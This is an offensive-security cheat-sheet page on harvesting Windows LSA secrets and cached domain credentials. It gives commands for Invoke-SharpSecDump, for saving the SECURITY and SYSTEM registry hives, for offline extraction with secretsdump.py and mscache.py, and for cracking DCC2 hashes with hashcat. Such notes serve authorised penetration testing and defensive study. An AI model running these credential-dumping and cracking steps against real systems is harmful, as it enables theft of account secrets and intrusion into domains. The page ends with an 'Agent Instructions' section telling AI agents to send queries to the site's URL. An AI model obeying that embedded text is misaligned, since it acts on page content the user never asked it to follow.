# LSA

* <https://www.passcape.com/index.php?section=docsys&cmd=details&id=23>
* <https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets>
* <https://sensepost.com/blog/2024/dumping-lsa-secrets-a-story-about-task-decorrelation/>

## SharpSecDump

* <https://github.com/G0ldenGunSec/SharpSecDump>
* <https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-SharpSecDump.ps1>

Decrypt LSA secrets on target:

```
PS > Invoke-SharpSecDump -C "-target=127.0.0.1"
```

## LsaStorePrivateData (ksetup)

* <https://pentest.party/posts/2025/ksetup-machine-password/>

## MSCash2/MSCache2 (DCC2)

* <https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials>

Domain cached credentials are stored within **LSA secrets** in `HKLM:\SECURITY` registry hive:

```
Cmd > reg save hklm\system system.hive
Cmd > reg save hklm\security security.hive
```

### secretsdump.py

Export registry hives and extract cached creds locally with `secretsdump.py`:

```
$ secretsdump.py -system system.hive -security security.hive LOCAL
```

### mscache.py

* <https://github.com/QAX-A-Team/mscache/blob/master/mscache.py>

Export registry hives and extract cached creds locally with `mscache.py`:

```
$ python mscache.py --system system.hive --security security.hive
```

### Crack

```
$ hashcat -m 2100 -O -a 0 -w 3 --session=dcc2 -o dcc2.out dcc2.in seclists/Passwords/darkc0de.txt -r rules/d3ad0ne.rule
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ppn.snovvcra.sh/pentest/infrastructure/ad/credential-harvesting/lsa.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
